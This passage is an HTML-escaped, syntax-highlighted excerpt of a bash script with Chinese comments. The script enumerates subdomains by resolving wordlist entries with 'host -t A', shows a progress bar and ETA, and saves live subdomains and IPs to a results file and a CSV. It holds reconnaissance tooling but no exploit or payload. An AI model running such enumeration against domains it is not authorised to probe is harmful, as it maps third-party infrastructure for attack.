&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始时间: &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;CSV输出文件: &lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;START_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;COUNT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FOUND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 初始化CSV文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;子域名,IP地址&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 主扫描循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r subdomain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 进度统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;COUNT++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算时间和进度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;CURRENT_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ELAPSED_SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;CURRENT_TIME &lt;span class="o"&gt;-&lt;/span&gt; START_TIME&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$COUNT&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;AVG_TIME_PER_REC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;/&lt;/span&gt; COUNT&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL &lt;span class="o"&gt;-&lt;/span&gt; COUNT&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ESTIMATED_REMAINING_SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;AVG_TIME_PER_REC &lt;span class="o"&gt;*&lt;/span&gt; REMAINING&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;MINS_REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ESTIMATED_REMAINING_SEC &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SECS_REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ESTIMATED_REMAINING_SEC &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算进度百分比&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PERCENT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;COUNT &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; TOTAL&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建简洁的当前查询显示 (最多显示前20个字符)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;current_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;current_query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;20&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;current_query&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建进度条&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;50&lt;span class="p"&gt;;&lt;/span&gt; i++&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; -lt &lt;span class="k"&gt;$((&lt;/span&gt;PERCENT &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;#&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 显示进度信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;进度: [%-50s] %3d%% | %d/%d | 时间: %02d:%02d | ETA: %02d:%02d | 当前: %s\r&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$bar&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;$PERCENT&lt;/span&gt; &lt;span class="nv"&gt;$COUNT&lt;/span&gt; &lt;span class="nv"&gt;$TOTAL&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$MINS_REMAINING&lt;/span&gt; &lt;span class="nv"&gt;$SECS_REMAINING&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$display_query&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 执行DNS查询&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;host -t A &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 处理结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; *&lt;span class="s2"&gt;&amp;#34;has address&amp;#34;&lt;/span&gt;* &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;FOUND++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 1. 输出原始格式结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 2. 保存结果用于表格&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -oE &lt;span class="s1"&gt;&amp;#39;[^ ]+ has address [0-9.]+&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 3. 添加到CSV文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/has address/ {print $1 &amp;#34;,&amp;#34; $4}&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清除进度行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算总耗时&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;END_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TOTAL_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;END_TIME &lt;span class="o"&gt;-&lt;/span&gt; START_TIME&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 显示表格总结&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -s &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描结果汇总 (活动子域名)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 确保表格对齐（包含标题长度）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;Subdomain&amp;#34; 标题长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;IP Address&amp;#34; 标题长度&lt;/span&gt;
